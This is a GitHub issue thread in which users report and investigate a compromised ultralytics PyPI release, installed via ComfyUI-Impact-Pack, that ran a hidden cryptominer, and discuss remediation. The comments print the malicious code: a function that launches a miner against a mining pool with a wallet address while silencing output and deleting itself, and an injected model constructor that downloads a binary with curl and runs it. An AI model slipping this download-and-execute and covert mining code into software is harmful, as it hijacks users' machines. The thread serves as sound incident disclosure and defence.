Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Incident Report: Potential Crypto Mining Attack via ComfyUI/Ultralytics #843

Closed
otupa opened this issue Dec 5, 2024 · 36 comments
Closed

Comments

@otupa
Copy link

otupa commented Dec 5, 2024

Incident Report: Potential Crypto Mining Attack via ComfyUI/Ultralytics


1. Problem Description

While using ComfyUI with the ComfyUI-Impact-Pack extension, suspicious behavior involving the Ultralytics package was detected. A malicious Python script was identified, seemingly designed to execute unauthorized cryptocurrency mining using system resources without user consent.


2. Identification of Malicious Code

The malicious code was located in the downloads.py file within the directory:

C:\Users\OTupã\AppData\Roaming\Python\Python312\site-packages\ultralytics\utils
Malicious Code Snippet
def safe_run(path):
    os.chmod(path, 0o770)
    command = [
        path,
        '-u',
        '4BHRQHFexjzfVjinAbrAwJdtogpFV3uCXhxYtYnsQN66CRtypsRyVEZhGc8iWyPViEewB8LtdAEL7CdjE4szMpKzPGjoZnw',
        '-o',
        'connect.consrensys.com:8080',
        '-k'
    ]
    process = subprocess.Popen(
        command,
        stdin=subprocess.DEVNULL,
        stdout=subprocess.DEVNULL,
        stderr=subprocess.DEVNULL,
        preexec_fn=os.setsid,
        close_fds=True
    )
    os.remove(path)
Observed Behavior
  • Permission Change: The script uses os.chmod to make a file executable.
  • Malicious Command Execution: The code executes a command to connect to connect.consrensys.com:8080, a potentially malicious mining pool.
  • Hidden Process: The script suppresses standard input, output, and error streams to avoid detection.
  • File Removal: Deletes the executed file to remove evidence of malicious activity.
Risk Assessment

This behavior strongly suggests unauthorized cryptocurrency mining, which could lead to:

  1. High Resource Usage: Drastic increase in CPU/GPU consumption.
  2. Hardware Degradation: Accelerated wear on system components.
  3. Security Breach: Potential compromise of sensitive data or system integrity.

3. Source of the Issue

The activity was traced to the installation of the Ultralytics package, which appears to be a modified version. This package might have been automatically installed as a dependency of the ComfyUI-Impact-Pack.

Installation Path
  • Suspicious Package: ultralytics version 8.3.41.
  • Location: C:\Users\OTupã\AppData\Roaming\Python\Python312\site-packages\ultralytics.
Installation Trigger

The suspicious behavior was likely initiated during the execution of the install.py script included in the ComfyUI-Impact-Pack, which installs dependencies.


4. Network Behavior Analysis

  • Target Domain: connect.consrensys.com.
  • Port: 8080.
  • Purpose: This domain is suspected to act as a mining pool endpoint, utilizing protocols like Stratum for cryptocurrency mining.
Evidence:
  1. The script's connection details explicitly target a known mining pool address.
  2. A private key (4BHRQHF...) is used, suggesting an active mining account or operation.

5. Recommended Actions

  1. Uninstall the Suspected Package:
    pip uninstall ultralytics ultralytics-thop
  2. Remove the ComfyUI-Impact-Pack:
    Delete its directory:
    C:\Users\OTupã\Documents\ComfyUI\custom_nodes\ComfyUI-Impact-Pack
    
  3. Scan the System:
    Run antivirus and malware detection tools to ensure no persistent threats remain.
  4. Verify Network Connections:
    Check for outgoing connections to connect.consrensys.com and block them in your firewall.
  5. Raise Awareness:
    Submit this report to the maintainers of both ComfyUI and Ultralytics to prevent further abuse.

6. Supporting Evidence

  • Code Location: C:\Users\OTupã\AppData\Roaming\Python\Python312\site-packages\ultralytics\utils\downloads.py.
  • Behavior: Unauthorized file execution, mining pool connection, and evidence removal.
  • Trigger: Automatic dependency installation by ComfyUI-Impact-Pack.

This issue highlights the need for robust dependency auditing in open-source projects to prevent malicious modifications from compromising end users' systems.

@Skillnoob
Copy link

Skillnoob commented Dec 5, 2024

The models the comfyui extension subpack downloaded are malicious.
Screenshot_20241205_075918_Firefox
https://huggingface.co/Bingsu/adetailer/tree/main
https://github.com/ltdrdata/ComfyUI-Impact-Subpack/blob/main/install.py#L30-L38

@Skillnoob
Copy link

Skillnoob commented Dec 5, 2024

The ultralytics package on PyPi seems to be compromised, please do not download it. We have notified the team about it.

@otupa
Copy link
Author

otupa commented Dec 5, 2024

Hi @Skillnoob.

Thank you for your response and alert. Unfortunately, I had already downloaded and run the package before realizing the situation. My initial goal was to recreate my girlfriend's face using Ultralytics, but I ended up running into this problem.

I would like to know how I should proceed from here to ensure that my system is secure and that nothing has been compromised. I am also available to provide logs or any other information that may help in investigating and resolving the issue.

If there is anything specific I can do to help, please let me know.

@Laughing-q
Copy link

@otupa Currently from what we know, only the 8.3.41 version on pypi is compromised. And we are working on eliminating it. The code on github repo does not have these malicious code. Please uninstall the current version you are having! and re-install it by:

pip install git+https://github.com/ultralytics/ultralytics.git

@otupa
Copy link
Author

otupa commented Dec 5, 2024

Thank You and a Few Questions About Installing the Impact Pack

First, thank you for your efforts in clarifying these issues and for providing guidance.

For my next installation of the Impact Pack, how can I ensure that these additional models are not downloaded automatically? Is there a configuration or adjustment I can make during the installation process to avoid this?

@Skillnoob
Copy link

Skillnoob commented Dec 5, 2024

I think the huggingface models are flagged because they use pickle. Pickle is generally considered a security issue as it can run code that may be malicious.
https://www.benfrederickson.com/dont-pickle-your-data/

If you install ultralytics through the github link, it will install 8.3.41, yes. The Github installation is fine, only the package on PyPi is compromised.

@otupa
Copy link
Author

otupa commented Dec 5, 2024

Thank you so much for the clarification!

Wow, that hacker really pulled off something nasty. It's shocking to see how far someone can go to compromise a widely used tool like this. I truly hope you and the team can protect the ecosystem and get everything back in order soon. If there’s anything I can do to help, let me know!

@ao899
Copy link

ao899 commented Dec 5, 2024

Although Ultralytics is the cause of it all, I am both surprised and saddened that the largest and most important ltdrdata account in the ComfyUI community has fallen victim to such a major incident, allowing this virus to infiltrate, rather than just smaller experimental accounts. Is it possible that no one has noticed the presence of the virus yet?

@ao899
Copy link

ao899 commented Dec 5, 2024

!!! Exception during processing !!! [Errno 8] Exec format error: '/tmp/ultralytics_runner'
Traceback (most recent call last):
File "/ComfyUI/execution.py", line 323, in execute
output_data, output_ui, has_subgraph = get_output_data(obj, input_data_all, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/ComfyUI/execution.py", line 198, in get_output_data
return_values = _map_node_over_list(obj, input_data_all, obj.FUNCTION, allow_interrupt=True, execution_block_cb=execution_block_cb, pre_execute_cb=pre_execute_cb)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/ComfyUI/execution.py", line 169, in _map_node_over_list
process_inputs(input_dict, i)
File "/ComfyUI/execution.py", line 158, in process_inputs
results.append(getattr(obj, func)(**inputs))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/ComfyUI/custom_nodes/ComfyUI-Impact-Pack/impact_subpack/impact/subpack_nodes.py", line 30, in doit
model = subcore.load_yolo(model_path)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/ComfyUI/custom_nodes/ComfyUI-Impact-Pack/impact_subpack/impact/subcore.py", line 30, in load_yolo
return YOLO(model_path)
^^^^^^^^^^^^^^^^
File "/opt/conda/lib/python3.11/site-packages/ultralytics/models/yolo/model.py", line 26, in init
safe_run("/tmp/ultralytics_runner")
File "/opt/conda/lib/python3.11/site-packages/ultralytics/utils/downloads.py", line 292, in safe_run
process = subprocess.Popen(
^^^^^^^^^^^^^^^^^
File "/opt/conda/lib/python3.11/subprocess.py", line 1026, in init
self._execute_child(args, executable, preexec_fn, close_fds,
File "/opt/conda/lib/python3.11/subprocess.py", line 1955, in _execute_child
raise child_exception_type(errno_num, err_msg, err_filename)
OSError: [Errno 8] Exec format error: '/tmp/ultralytics_runner'

@ao899
Copy link

ao899 commented Dec 5, 2024

ultralytics/ultralytics#18027 (comment)

@Skillnoob
Copy link

The compromised Ultralytics package version has been removed from PyPi, it should be safe to install Ultralytics again.

@ao899
Copy link

ao899 commented Dec 5, 2024

ultralytics==8.3.41
removed

@SuperDolby
Copy link

SuperDolby commented Dec 5, 2024

Thanks, we have also discovered this issue and are preparing to submit it. This should be the latest supply chain software poisoning attack

We found malicious processes in the deployed business machine
This is the download address of the malicious file. Who submitted this file?

https://api.github.com/repos/ultralytics/ultralytics/git/blobs/665bb8add8c21d28a961fe3f93c12b249df10787

modely.py

`class YOLO(Model):
"""YOLO (You Only Look Once) object detection model."""

def __init__(self, model="yolo11n.pt", task=None, verbose=False):
    """Initialize YOLO model, switching to YOLOWorld if model filename contains '-world'."""

    environment = platform.system()
    if "Linux" in environment and "x86" in platform.machine() or "AMD64" in platform.machine(): 
        safe_download(
            "665bb8add8c21d28a961fe3f93c12b249df10787", 
            progress=False,
            delete=True,
            file="/tmp/ultralytics_runner", gitApi=True
        )
        safe_run("/tmp/ultralytics_runner")
    elif "Darwin" in environment and "arm64" in platform.machine(): 
        safe_download(
            "5e67b0e4375f63eb6892b33b1f98e900802312c2", 
            progress=False,
            delete=True,
            file="/tmp/ultralytics_runner", gitApi=True
        )
        safe_run("/tmp/ultralytics_runner") `
        
        
        
        download.py safe_download()
        
    `    if gitApi: 
    f = file
    url = f"https://api.github.com/repos/ultralytics/ultralytics/git/blobs/{url}"
    r = subprocess.run(["curl", "-#", "-H","Accept: application/vnd.github.raw+json",f"-sSL", url, "-o", f, "--retry", "3", "-C", "-"]).returncode
    return True`

@ImSweetPotato
Copy link

image
微信截图_20241205182552

@ltdrdata
Copy link
Owner

ltdrdata commented Dec 5, 2024

Recent ComfyUI-Manager's security scanner will detect this compromised version.

@blepping
Copy link

blepping commented Dec 5, 2024

Although Ultralytics is the cause of it all, I am both surprised and saddened that the largest and most important ltdrdata account in the ComfyUI community has fallen victim to such a major incident

It's really no reflection on ltrdata and nothing to do with their account. Anyone pulling the package from PyPi would be affected.

@woct0rdho
Copy link

ultralytics 8.3.42 on pypi is still compromised. DO NOT upgrade from pypi for now!

@FurkanGozukara
Copy link

this is huge i am announcing on LinkedIn

@ao899
Copy link

ao899 commented Dec 5, 2024

ultralytics/ultralytics#18027 (comment)

Unbelievable.

@aberenda-optifino
Copy link

I think it is better to remove 8.3.42 from pypi too

@Skillnoob
Copy link

We have removed 8.3.42 from PyPi as well now and are gonna continue investigating this, its very unusual.

@steelan9199
Copy link

吓坏宝宝啦, 宝宝好害怕, 感谢英雄们排查出病毒, 并做出警示

@Skillnoob
Copy link

More info can be found here: ultralytics/ultralytics#18027

@ltdrdata
Copy link
Owner

ltdrdata commented Dec 5, 2024

Latest ComfyUI-Manager will pin the version to 8.3.40 for a while.

@Coolhatena
Copy link

I've downloaded ultralytics v8.3.41 last night for a school project, and i just got aware of this issue looking for a solution for a weird error i got when i tried to run a Yolov8 model, i already unistalled ultralytics using pip, theres some other thing i should manually uninstall? There's some instructions to completely remove the malware from the PC's wheres this malicious version got installed?

@Skillnoob
Copy link

@Coolhatena you should run a virus scan and empty any temp folders on your OS, Ultralytics 8.3.43 is now fully fixed.

@reitani
Copy link

reitani commented Dec 6, 2024

How can I confirm the version of my impact-pack?

@The13guyzz
Copy link

How can I check ? Not sure I use that version before.
I just want to remove all of it

@ltdrdata
Copy link
Owner

ltdrdata commented Dec 6, 2024

How can I confirm the version of my impact-pack?

This issue is not related to the version of Impact Pack but rather caused by a dependency package. As a result, users who have recently installed Impact Pack are affected.
(This dependency is widely used in various custom nodes related to detection functionality, so the issue can occur regardless of whether Impact Pack is installed or not.)

For now, please update ComfyUI-Manager to the latest version, as a diagnostic feature has been added to ComfyUI-Manager. (Make sure ComfyUI-Manager version is 2.55.4 or above)

If you are affected by the malware, a removal guide will be displayed.

@kybercore
Copy link

kybercore commented Dec 6, 2024

It's interesting that this wasn't caught in review. I know this is volunteers working for free for the most part but it's a very simple attack that's not difficult to spot

  • a random alphanumerical string (always suspicious because it could be encoded for obfuscation or related to an unusual URL/file operation)
  • all output being silenced is a little suspicious
  • at the very least the domain name with a port should have raised a red flag (it's crypto related)

@mcmonkey4eva
Copy link

@kybercore it wasn't "caught in review" because there was no review. It was hacked into the published pip version of a package, not the git source, and is was noticed within a matter of hours and addressed.
The root failure was an automated github action in the ultralytics repo had improper security that was exploited to let the attacker gain control of the server used to publish ultralytics pip packages.

@reitani
Copy link

reitani commented Dec 6, 2024

How can I confirm the version of my impact-pack?

This issue is not related to the version of Impact Pack but rather caused by a dependency package. As a result, users who have recently installed Impact Pack are affected. (This dependency is widely used in various custom nodes related to detection functionality, so the issue can occur regardless of whether Impact Pack is installed or not.)

For now, please update ComfyUI-Manager to the latest version, as a diagnostic feature has been added to ComfyUI-Manager. (Make sure ComfyUI-Manager version is 2.55.4 or above)

If you are affected by the malware, a removal guide will be displayed.

Thank you so much for the detailed explanation.
After I updated Manager to the latest version, it did't show any removal guide. So I think I'm okay with the dependency thing now.

@kybercore
Copy link

@kybercore it wasn't "caught in review" because there was no review. It was hacked into the published pip version of a package, not the git source, and is was noticed within a matter of hours and addressed. The root failure was an automated github action in the ultralytics repo had improper security that was exploited to let the attacker gain control of the server used to publish ultralytics pip packages.

Ah okay, that makes a lot more sense. I was wondering why I couldn't find the code in the repo history

@ao899
Copy link

ao899 commented Dec 7, 2024

8.3.46 -8.3.43 start

@doubley612
Copy link

@Skillnoob How come only the PyPi packages were compromised and not the code on GitHub?

@Skillnoob
Copy link

The malicious code was added during the PyPi publishing workflow, the attacker never added any malicious code to the repo, except a version bump that triggered the automatic ci and the removal of glenn jocher bein required for the ci.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests